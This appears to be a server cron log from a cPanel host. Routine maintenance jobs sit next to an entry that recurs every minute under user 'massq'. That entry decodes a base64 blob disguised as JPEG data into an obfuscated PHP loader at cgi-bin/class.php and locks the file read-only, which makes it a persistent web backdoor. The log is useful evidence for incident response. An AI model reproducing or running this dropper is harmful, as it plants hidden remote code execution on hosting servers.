Sep  4 17:15:01 server CROND[24800]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 17:15:01 server CROND[24802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:15:01 server CROND[24803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:15:01 server CROND[24799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:15:01 server CROND[24798]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:15:01 server CROND[24801]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:16:01 server CROND[25752]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:16:01 server CROND[25753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:16:01 server CROND[25754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:17:01 server CROND[26177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:17:01 server CROND[26178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:17:01 server CROND[26179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:18:01 server CROND[26557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:18:01 server CROND[26558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:18:01 server CROND[26559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:19:01 server CROND[26929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:19:01 server CROND[26930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:19:01 server CROND[26931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:20:01 server CROND[27315]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:20:01 server CROND[27317]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:20:02 server CROND[27326]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:20:02 server CROND[27340]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 17:20:02 server CROND[27335]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:20:02 server CROND[27338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:20:02 server CROND[27337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:20:02 server CROND[27339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:20:02 server CROND[27341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:21:01 server CROND[28187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:21:01 server CROND[28188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:21:01 server CROND[28189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:22:01 server CROND[28628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:22:01 server CROND[28629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:22:01 server CROND[28630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:23:01 server CROND[28997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:23:01 server CROND[28998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:23:01 server CROND[28999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:24:01 server CROND[29370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:24:01 server CROND[29371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:24:01 server CROND[29372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:25:01 server CROND[29750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:25:01 server CROND[29752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:25:01 server CROND[29754]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:25:01 server CROND[29757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:25:01 server CROND[29756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:25:01 server CROND[29759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:25:01 server CROND[29760]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:26:01 server CROND[30581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:26:01 server CROND[30582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:26:01 server CROND[30583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:27:01 server CROND[31052]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 17:27:01 server CROND[31053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
